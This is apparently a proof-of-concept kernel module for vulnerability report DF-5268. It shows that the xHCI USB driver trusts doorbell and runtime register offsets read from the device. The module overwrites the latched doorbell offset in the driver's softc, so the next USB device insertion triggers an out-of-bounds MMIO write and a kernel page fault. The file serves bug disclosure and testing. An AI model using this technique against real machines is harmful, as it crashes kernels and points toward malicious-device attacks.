DF-5268 / poison.c
/* * DF-5268 PoC: unmasked xHCI register offsets (CAPLENGTH/RTSOFF/DBOFF). * * xhci_init() at sys/bus/u4b/controller/xhci.c:626-629 latches * sc->sc_oper_off = XREAD1(sc, capa, XHCI_CAPLENGTH); * sc->sc_runt_off = XREAD4(sc, capa, XHCI_RTSOFF) & ~0x1F; * sc->sc_door_off = XREAD4(sc, capa, XHCI_DBOFF) & ~0x3; * straight from device MMIO with no bounds check against sc->sc_io_size * (the mapped BAR size, recorded in xhci_pci.c:206 and never consulted). * Every later XREAD and XWRITE macros adds these offsets raw: * XWRITE4(sc, door, XHCI_DOORBELL(0), 0) -- xhci.c:1235 (command doorbell) * XWRITE4(sc, door, XHCI_DOORBELL(index), ...) -- xhci.c:2869 (transfers) * XREAD4(sc, runt, XHCI_IMAN(0)) -- xhci.c:1661 (every interrupt) * * This module simulates a malicious controller (or compromised PCIe device * firmware) that returns DBOFF=0xF0000000 by patching the LATCHED copy of * the register in the driver softc, exactly what the hardware value would * have made xhci_init store. The next doorbell ring then performs an * out-of-bounds MMIO WRITE ~3.75 GB past the 16 KB BAR mapping -> * kernel page fault. * * Trigger: insert any USB device (qemu monitor: device_add ...) which makes * the hub explore thread run ENABLE_SLOT -> xhci_do_command() doorbell. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/bus.h> #include <sys/lock.h> #include <sys/condvar.h> #include <sys/callout.h> #include <bus/u4b/usb.h> #include <bus/u4b/usbdi.h> #include <bus/u4b/usb_core.h> #include <bus/u4b/usb_busdma.h> #include <bus/u4b/usb_process.h> #include <bus/u4b/usb_controller.h> #include <bus/u4b/usb_bus.h> #include <bus/u4b/controller/xhci.h> static int poison_modevent(module_t mod, int type, void *arg) { devclass_t dc; struct xhci_softc *sc; switch (type) { case MOD_LOAD: dc = devclass_find("xhci"); if (dc == NULL) { kprintf("xhcipwn: xhci devclass not found\n"); return (ENXIO); } sc = devclass_get_softc(dc, 0); if (sc == NULL || sc->sc_io_hdl == 0) { kprintf("xhcipwn: no xhci0 softc\n"); return (ENXIO); } kprintf("xhcipwn: softc=%p io_hdl=0x%llx io_size=0x%llx " "oper_off=0x%x runt_off=0x%x door_off=0x%x\n", sc, (unsigned long long)sc->sc_io_hdl, (unsigned long long)sc->sc_io_size, sc->sc_oper_off, sc->sc_runt_off, sc->sc_door_off); /* Simulate DBOFF=0xF0000000 returned by malicious controller */ sc->sc_door_off = 0xF0000000u; kprintf("xhcipwn: sc_door_off poisoned to 0x%08x " "(= malicious DBOFF value)\n", sc->sc_door_off); kprintf("xhcipwn: next doorbell ring writes at " "io_hdl+0xF0000000+4*slot -- OOB of 16KB BAR\n"); return (0); case MOD_UNLOAD: kprintf("xhcipwn: unloaded\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t poison_mod = { "xhcipwn", poison_modevent, NULL }; DECLARE_MODULE(xhcipwn, poison_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(xhcipwn, 1); |